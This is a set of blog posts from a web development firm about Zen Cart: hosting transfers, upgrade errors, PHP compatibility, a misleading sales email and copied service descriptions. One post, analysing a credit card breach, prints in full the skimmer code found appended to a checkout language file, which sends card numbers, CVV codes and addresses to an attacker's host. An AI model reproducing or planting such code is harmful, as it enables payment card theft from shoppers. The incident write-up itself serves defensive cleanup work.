Transferring Zen Cart to a New Web Hosting Account

If you need to transfer a Zen Cart website to a new hosting account, either at a new web host or another account at the same web host, the process usually isn’t too hard. But there are things that can go wrong, so below we go through the important things to do as you are working to accomplish that in way that leads to a smooth transfer.

Test Before You Switch

When doing a transfer like this, the best advice is to do a test of the transfer before you make the final switch over. That way, if any problems come up, you can work on resolving them without having to rush the process.

Transfer the Files

You will need to transfer the files from the old hosting account to the new one. That is usually most easily done using FTP or SFTP to copy the files from the old hosting account to a computer and then copying them from there to the new hosting. That also provides you with a backup of the files.

Transfer the Database

You will need to copy the database from the old hosting account to the new hosting. That is usually done through phpMyAdmin, to export a copy of the database from the old hosting account, and using it to import that copy of the database to a database on the new hosting. Though there may be other options depending on the hosting setup. You will need to create a database on the new server to import the existing database.

Update The Configuration File

Once you have copied the files and the database, you will need to update the Zen Cart configuration files, the configure.php files in the /includes/ directory the /includes/ directory in the admin directory, in the new hosting to have the credentials for the new database and the new file system location.

Plan for a Switch Over

After you have tested out everything and confirmed that it works, plan for a time to switch over to the new hosting. You will need to allocate time for recopying the database and if the files have changed, the files as well. You also need to allocate for the time it will take for the website’s domain name to point to the new web hosting.

You will also want to make sure that access at the old hosting is blocked, so no more changes are being made once you start the final transfer process.

Redo The Transfer and Point The Website’s Domain to New Hosting

Once you have made a final transfer of the database and possibly the files, you need to update the records for the website’s domain name to point to the new server.

Getting Help

If you need help with Zen Cart, we offer support and we offer a service specifically to handle transfers like this.

Sucuri Security’s Website Firewall (WAF) Caused Ecommerce Website to Lose Out on Sales

Security services like GoDaddy’s Sucuri Security not only often do a bad job at providing security, but they can also introduce other problems for those using them. One reoccurring issue we have run into is that these services have attached caching to cloud based website application firewalls (WAFs) that aren’t compatible with some of the websites using them.

That recently came up while we were working on a Zen Cart upgrade, where in addition to us having problems working in the admin area of the website, it was mentioned that people were unable to complete the checkout process and having items disappear from their shopping cart.

The people running the website didn’t have any idea of what was causing the problems, which isn’t a unique in this situation. It also is understandable, since there isn’t anything visible that would point to caching causing a problem and, and as was the case here, people running the websites often don’t even know that the caching was enabled.

In this case, it involved Sucuri Security’s WAF, which had put on to the website through another GoDaddy company, Media Temple.

Sucuri Security markets the caching as benefit of using their service, though it could be explained as much by it lowering their costs.

While they claim it is “Built for all platforms”, the reality is that it can cause serious problems. Sucuri Security could help to avoid that by not implementing it by default as they do and also implementing basic checking to make sure that it doesn’t get implemented on a website in a way that is known to not be compatible with the software running on it.

Zen Cart Stores Can Have One Step Checkout and be Mobile Friendly

If you have a website, you probably get contacted by email with web development offers. That is true even, if, like us, you are web developers. The lack of targeting goes farther than that, as earlier this week we got an email that looks to be intended to target those with Zen Cart stores. We don’t have a Zen Cart store or a store in general, but we do provide services for Zen Cart websites. The email seems to be worth noting due to what might be a more general misunderstanding about Zen Cart.

Here is the full email:

Hi ,

I heard you were the right person to speak with regards to your site whitefirdesign.com but if I am wrong, could you please point me in the right direction?

According to a survey by DigitalEra, e-stores having modern design with latest commerce features like one step checkout generate 27% more profits and have 52.5% less bounce rate compared to conventional e-stores.

Given Zen Cart stores have subpar aesthetics and appeal, lack modern features like 1 step checkout and are not mobile friendly, are you facing store performance issues like high bounce rate, low traffic and sales on your site?

If yes, I was curious to know if you are planning to migrate from Zen Cart?

We can help you evaluate your CMS options including WordPress, Shopify, Magento etc and migrate accordingly. Do let me know.

Regards,
Robert
WordPress Consultant

Like most web software, whether a website powered by Zen Cart is mobile friendly or not is determined by the theme/template that is being used. So a lack of mobile friendliness would be just as true or false as a WordPress or Magento website.

While Zen Cart by default has a multi step checkout process, if you want to reduce the number of steps, plugins have been available to handle for that years.

WordPress, which the person ostensibly was trying to promote switching over to, isn’t even e-commerce software. It started as blogging software and could now be considered CMS software. It can include e-commerce functionality through plugins. So suggesting switching over to WordPress to get functionality missing in Zen Cart doesn’t make a lot of sense, since it doesn’t include it by default either.

For anyone still wondering if emails like that are on the level, the survey cited there doesn’t appear to exist. The only entity we could find named DigitalEra is a cybersecurity provider. The domain of the email address to reply to, cmstowordpress.com, doesn’t currently serve up a website either.

Fixing Missing Sessions Database Table Error After Upgrading to Zen Cart 1.5.6

When doing a Zen Cart upgrade or any similar upgrade it is always a good idea to do a test of the upgrade first, since unexpected issues can come up and by doing a test first you can more easily work thorough those instead of trying to triage a broken production website. When we are hired to do Zen Cart upgrades we always do that.

That came in handy during a recent upgrade from Zen Cart 1.5.5a to 1.5.6a where we ran into what is an obscure enough issue we couldn’t find any mentions of it when we were troubleshooting it.

After we ran the database updater we found that the instead of being served the website we got an error message, “An Error occurred, please refresh the page and try again.”.Looking at the related error log file in the “logs” directory it was indicated that the sessions table didn’t exist in the database:

PHP Fatal error: 1146:Table ‘[databasebprefix]_sessions’ doesn’t exist :: select value

Looking at the databases for the production website and the test we found that the table existed prior to the database update, but not after.

Looking at the database changes made during the 1.5.6 update we found that the table is dropped and recreated, so for some reason the recreation was failing.

In looking at the debug log for the database updater we found that there were multiple errors like this:

MySQL error 1273 encountered during zc_install:
Unknown collation: ‘utf8mb4_general_ci’
) ENGINE=InnoDB;

After looking at various things we found that in the configuration file, configure.php, for the frontend of the website the “DB_CHARSET” was undefined. Defining that as “utf8”, re-importing the database, and starting the database update process over resolved the errors and the table was properly recreated.

Further in the process we found the apparent reason for the “DB_CHARSET” being missing , it was causing characters to be improperly encoded, which we were able to resolve by simply changing the charset to proper one for those characters.

Make Sure to Upgrade Zen Cart Before Your Web Host Changes the PHP Versions They Support

We recently have had a significant number of people coming to us for Zen Cart upgrades needed due to web hosts changing the minimum PHP version they support. Unfortunately a lot them have been at the point that the website is broken due to that PHP change happening, so now would be good time to assess whether you are in need of an upgrade before you run in to problems.

The lowest version of PHP still supported is 7.1 and version 1.5.5 of Zen Cart and above are designed to support that. Support for PHP 7.1 will end on December 1.

If you upgrade to the latest version of Zen Cart, 1.5.6, you have years of support built in as that is designed for PHP versions up to PHP 7.3, which is supported until December of 2021.

While the lowest supported version of PHP is currently 7.1, one of the recent situations where we were brought in involved the web host raising the minimum PHP version to 5.6, which Zen Cart 1.5.3 and above were designed for.

Making the upgrade process more difficult in some instances is that one change made with Zen Cart 1.5.6 is that it will not run with versions of PHP lower than 5.5 (previous Zen Cart versions would run on older versions of PHP enough to test things out before switching to a newer version).

Zucando Lifted Description Text For Their Zen Cart Upgrade Service From Ours

One of the problems we see across various services we provide is that there are lots of companies offering services that they seem to have a limited, at best, understanding of what they are providing. One of things that can disguise that is that we often find that other companies have copied descriptions of our services, including in some cases claims about our capabilities. That obviously makes it hard to determine who you should go with when you see multiple companies making similar claims without knowing that the others not only don’t have the capabilities claimed, but that they are making claims that are just copied from elsewhere.

In some cases in the past we have seen companies that knew so little about what they were offering that they had changed the properly spelled names of software to incorrect spellings (probably because they ran the text through a spell checker that wasn’t aware of those).

Recently while looking into something we ran across an example of somebody copying the description on one of our services. Here is how the description for our Zen Cart Upgrade Service began as of August 23, 2011 on archive.org:

Keeping your installation of Zen Cart up to date is important because it insures your website is not hacked through a known vulnerability in Zen Cart. If your Zen Cart installation has already been hacked we can clean it up and then upgrade it. In addition to making sure your website is secure, new minor releases fix bugs and new major release add new features and functionality.

The version as of June 11 of that year was slightly different.

Here is how the description of the same type of service by a company named Zucando (https://zucando.com/zen-cart-modules/services/zen-cart-upgrade) begins today:

Keeping your installation of Zen Cart up to date is important because it insures your website is not hacked through a known vulnerability in Zen Cart. If your Zen Cart installation has already been hacked we can clean it up and then upgrade it. In addition to making sure your website is secure, new minor releases fix bugs and new major release add new features and functionality.

Those are exactly the same except for the lack of a link to a hack clean up service. Nowhere on their website do they seem to offer such a cleanup service.

According to release notes tab of their service, it was created well after we had started using that description text:

  • Date Added: 18 Dec 2013

The earliest version of their page that archive.org has, is from March 4, 2014 and the text is exactly the same as it is today.

Google isn’t really help to people since their page shows up higher than ours in relevant search results despite the text being based on ours.

Its Not Hard To Find The Source of a Credit Card Compromise in Zen Cart If You Know What You Are Doing

When it comes to dealing with hacked websites there are lots of people who feel it is appropriate for them to do that work without seeming to have any of the expertise needed to be able to properly do the work. We often see the end result of that when we are brought in to re-clean hacked websites after somebody else did it and then the website got re-hacked. We usually find that the original people doing the cleanup didn’t even attempt to do central parts of the cleanup (like determining how the website was hacked). The lack of expertise also showed up recently we were contacted about a Zen Cart based website where credit card information was seeming to be compromised on the website, as fraudulent charges were being made to credit card accounts after they were used on the website.

When we were contacted about this we were confused by a question raised, which was if we charge if were not able to find the vulnerability. Why would someone charge if they were not able to complete the work? In answering that, we were told that other people had looked into this and had not been to identify the problem. That seemed odd to us, since we have never had a problem finding the source of a credit card breaches in the past. The fact that the people that couldn’t find it were then recommending resolving the by upgrading Zen Cart, seemed to point the not knowing what they are doing at all (since upgrading the software on a website is not the proper way to clean up a hacked website). But maybe the code that was compromising the credit card information was well hidden?

One of the easiest thing to do when looking for malicious code on a website is to compare the contents of its files to a freshly downloaded copy of the software being used on it. When we did that with this website we found that one of the files modified from its original form was /languages/english/checkout_confirmation.php. Based on the file’s name that would seem to be possible location where the code to compromise credit card information might be. The modification involved the following code having been appended to the file:

$data1 = $_POST['paypalwpp_cc_firstname'];
$data2 = $_POST['paypalwpp_cc_lastname'];
$data3 = $order->billing['street_address'];
$data4 = '';
$data5 = $order->billing['city'];
$data6 = $order->billing['state'];
$data7 = $order->delivery['postcode'];
$data8 = $order->billing['country']['iso_code_2'];
$data9 = $order->customer['telephone'];
$data10 = $_POST['paypalwpp_cc_number'];
$data11 = $_POST['paypalwpp_cc_expires_month'];
$data12 = $_POST['paypalwpp_cc_expires_year'];
$data13 = $_POST['paypalwpp_cc_checkcode'];
$data14 = ''; // credit card owner
$data15 = "[redacted domain name]";
$data16 = $order->customer['email_address'];
$data17 = ''; // county
$post77 = "firstname=".($data1)."&lastname=".($data2)."&street1=".($data3)."&street2=".($data4)."&city=".($data5)."&state=".($data6)."&zip=".($data7)."&country=".($data8)."&phonenumber=".($data9)."&ccnumber=".($data10)."&expmonth=".($data11)."&expyear=".($data12)."&cvv=".($data13)."&comment1=".$data14."&comment2=".$data15."&email=".($data16)."&county=".($data17);
$url = "http://magecard.xyz/add";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url); // set url to post to
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);// allow redirects
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
curl_setopt($ch, CURLOPT_TIMEOUT, 60); // times out after 4s
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post77);
$result = curl_exec($ch); // run the whole process
curl_close($ch);

Even if you not an all that familiar with PHP code it is pretty obvious that this code has something to do with credit card information. Combine that with the fact that that code is so different that legitimate code in the file, which involves defining the language to be used on the checkout confirmation page:

define('NAVBAR_TITLE_1', 'Checkout');
define('NAVBAR_TITLE_2', 'Confirmation');

define('HEADING_TITLE', 'Step 3 of 3 - Order Confirmation');

define('HEADING_BILLING_ADDRESS', 'Billing/Payment Information');
define('HEADING_DELIVERY_ADDRESS', 'Delivery/Shipping Information');
define('HEADING_SHIPPING_METHOD', 'Shipping Method:');
define('HEADING_PAYMENT_METHOD', 'Payment Method:');
define('HEADING_PRODUCTS', 'Shopping Cart Contents');
define('HEADING_TAX', 'Tax');
define('HEADING_ORDER_COMMENTS', 'Special Instructions or Order Comments');
// no comments entered
define('NO_COMMENTS_TEXT', 'None');
define('TITLE_CONTINUE_CHECKOUT_PROCEDURE', '<strong>Final Step</strong>');
define('TEXT_CONTINUE_CHECKOUT_PROCEDURE', '- continue to confirm your order. Thank you!');

define('OUT_OF_STOCK_CAN_CHECKOUT', 'Products marked with ' . STOCK_MARK_PRODUCT_OUT_OF_STOCK . ' are out of stock.<br />Items not in stock will be placed on backorder.');

It is hard to see how this could have been missed unless the people trying to find it had no business getting involved in working on something like this.

As to the what allow the code to be added to the website, we were only able to track it back to a Russian IP address that looked to have already gained some level of access to the website. As they were able to login in to the Zen Cart backend and look to have been able to read and write to files on the website.

Is it Time to Upgrade to Zen Cart 1.5.4?

It has now been a couple of months since Zen Cart 1.5.4 was released and we have now handled enough upgrades to the new version to provide our insights on whether it is time to upgrade Zen Cart 1.5.4.

Let’s start with what is new in Zen Cart 1.5.4. The new version doesn’t include any major changes. Instead it includes bug fixes, minor improvements, and security improvements. You can find the full list of changes in the release announcement.

The only issue we have found so far during upgrades is that many addon modules don’t officially support Zen Cart 1.5.4 yet. For some modules they may not need any changes and their maintainer just hasn’t bumped the Zen Cart version supported. Others that modify core Zen Cart files will need to have updated versions of those files included, until they do that you can use those with 1.5.4 if you apply the changes they make to those files to the versions of the file include with 1.5.4. The lack of official support is more of an issue if the modules don’t yet support at least Zen Cart 1.5.3 since that version made some changes that can have significant impact for modules.

With the basics set out, below we provide on advice on whether it is time to upgrade depending on your current situation:

Running Zen 1.3.9, 1.3.8, or older

If you are still running Zen Cart 1.3.9, 1.3.8, or and even older version you are overdue for an upgrade at this point so you should probably go ahead with the upgrade now. While issues with modules and 1.5.4 could cause some issues, you are going to probably run into module issues that will have to be dealt during testing when upgrading from those versions to any version of Zen Cart 1.5.

Need to Be Using a PA-DSS Certified Version of Zen Cart

Prior to Zen Cart 1.5.4 the only version of Zen Cart to be PA-DSS certified was 1.5.0, so you were stuck on that version if you needed PA-DSS certified software for PCI compliance. That wasn’t ideal obviously, but now you can now upgrade and you might need to since the “certification spec expired at the end of 2013” for 1.5.0.

Web Hosting Account Switching to PHP 5.4, 5.5, or 5.6

The number one reason we are hired do Zen Cart upgrades is that version currently being used is not compatible the version of PHP that the web server the website hosted on is being upgraded to. With the support for PHP 5.3 ending back in August web hosts should be moving to at least PHP 5.4 soon (though many web host are only now transitioning off of PHP 5.2 despite support ending in January of 2011). Zen Cart 1.5.4 is the second release to support PHP 5.4, 5.5, and 5.6 so anyone who is not using Zen Cart 1.5.3 and is moving to those versions of PHP should upgrade.

Running 1.5.0, 1.5.1, or 1.5.3

If you don’t need to upgrade for the new versions of PHP, don’t have an urgent need for an of the bug fixes or improvements, and use a lot of modules you may to want hold off until more modules are updated for Zen Cart 1.5.4. Otherwise, it would be a good idea to do upgrade now.

Google’s Bad Instructions for Upgrading Zen Cart

Google started out just providing text snippets and links to other websites in their search results and then overtime started adding more information directly in to the search results. For example, you can get sports scores right on the search results page. Sports scores are simple factual data so it hard to get those wrong, but more complex information is easier to get wrong. We recently made aware example where they are providing quite bad information.

Currently if you do a search related to upgrading Zen Cart you will get shown the following instructions above the results:

Google Zen Cart Upgrade Instrutctions

The instructions are taken from a page on GoDaddy’s website.

What sticks out to us is that not only are the instructions wrong, but they seem to have been written by some who doesn’t have any actual familiarity with Zen Cart.

Let’s start with the note above the instructions on GoDaddy’s page:

NOTE: If you are using Zen Cart schema 1.3.8a, you need to upgrade to 1.3.9 before upgrading to version 1.5. Otherwise, you will get errors.

This just doesn’t make any sense as the Zen Cart installer, which is used to upgrade the database schema, doesn’t have a problem doing an upgrade from 1.3.8a to the latest version, 1.5.4, without going to 1.3.9 first. Below is screenshot when doing that, you can see that not only does it allow you upgrade going back to that version, but it allows you to start from version 1.2.7:

Zen Cart Database Upgrade Selections

The next thing that stands out is step 5, “Disable all plugins and set your theme to the default.” The way Zen Cart handles addons is different than a lot of other software. With WordPress for example, plugins are stored separately from the core software and you have the ability to enable and disable them from a central location. With Zen Cart addons they are more tightly connected to Zen Cart. In some cases the addons are modification to core Zen Cart files, which cannot be disabled short of removing the code. For other addons the addon itself would have to provide a mechanism for disabling, which many do not. We get the sense that the person writing took this advice from some other software, without understanding that it wasn’t applicable to Zen Cart.

Finally, the biggest problem with the instructions is the lack of any actual instructions on doing the upgrade. The entirety of GoDaddy’s instruction is “Upgrade Zen Cart to 1.5.0. For more information, see this Zen Cart help article.” The “more information” implies that “Upgrade Zen Cart to 1.5.0.” actually provided some information, which it didn’t. If you follow the link you land on Zen Cart’s 1,200+ word upgrade instructions that are nothing like GoDaddy’s. The whole thing comes across as attempt to write something around the link to the actual instructions, which they filled with incorrect information. Google’s inclusion directly in the search results then compounds this.

When we do Zen Cart upgrades we use the patch files we have created, which can make it easier to do the upgrade than using the official Zen Cart method.

Handling Errors in Modules Caused by Zen Cart 1.5.3’s Change to the mysqli Extension

For the most part, the changes introduced in Zen Cart 1.5.3 have little impact on add-on modules in use, but we have found that one under the hood change is causing some problems. Previous versions of Zen Cart connected to the website’s database using PHP’s MySQL extension, starting with Zen Cart 1.5.3 the connection is instead made using PHP’s MySQL Improved (mysqli) extension. This change was needed at the very least to future proof Zen Cart as the MySQL extension was deprecated in PHP 5.5 and will be removed in a future version. For most modules the change has no impact, either because they don’t interact with the database or because they interact with it though Zen Cart’s database abstraction layer, so they don’t have any direct interaction with the database extension in use. In doing upgrades to Zen Cart 1.5.3 we have found that some modules, including the popular Easy Populate CSV and Super Orders, have direct interaction with the database using the MySQL extension. Because Zen Cart 1.5.3 is no longer using the MySQL extension to connect to the database, errors like the following will be shown when a module tries to utilize MySQL extension based functions:

Warning: mysql_query(): Access denied for user ‘root’@’localhost’ (using password: NO) in [redacted]/orders.php on line 1229 Warning: mysql_query(): A link to the server could not be established in /[redacted]/orders.php on line 1229 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in [redacted]/orders.php on line 1230

The quick solution to this type of error is to create a MySQL extension based connection for the module’s code to utilize. This can be done by adding the two following lines near the top, but below the line “<?php”, of the file with the error:

mysql_connect(DB_SERVER, DB_SERVER_USERNAME, DB_SERVER_PASSWORD);
mysql_select_db(DB_DATABASE);

The first line makes a connection to the database server listed in your configure.php file and the second will select the database listed in the configure.php.

A more permanent solution would be to modify the module’s code to utilize Zen Cart’s database abstraction layer, if possible.